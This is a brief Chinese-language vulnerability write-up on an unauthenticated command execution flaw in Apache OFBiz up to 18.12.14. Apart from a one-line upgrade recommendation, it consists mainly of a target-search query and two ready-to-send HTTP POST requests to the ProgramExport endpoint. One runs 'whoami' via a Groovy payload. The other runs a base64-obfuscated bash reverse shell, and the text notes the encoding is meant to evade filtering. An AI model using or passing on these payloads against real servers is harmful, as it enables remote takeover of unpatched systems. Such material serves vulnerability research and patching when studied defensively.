0x01 漏洞描述:
Apache OFBiz 18.12.14之前版本存在命令执行漏洞,该漏洞源于ControlServlet和RequestHandler函数,在处理请求中存在授权错误,导致未经身份验证的远程攻击者通过构造特殊URL来覆盖最终的渲染视图,从而执行任意代码
0x02 影响版本:
Apache OFBiz <= 18.12.14
0x03 搜索语句:
app="Apache_OFBiz"
0x04 漏洞复现:
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
groovyProgram=throw new Exception('whoami'.execute().text);
开启nc监听 进行远程连接 。注意这里加了一层base64进行绕过
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
groovyProgram="bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}".execute()
0x05 修复建议:
升级至18.12.14以上版本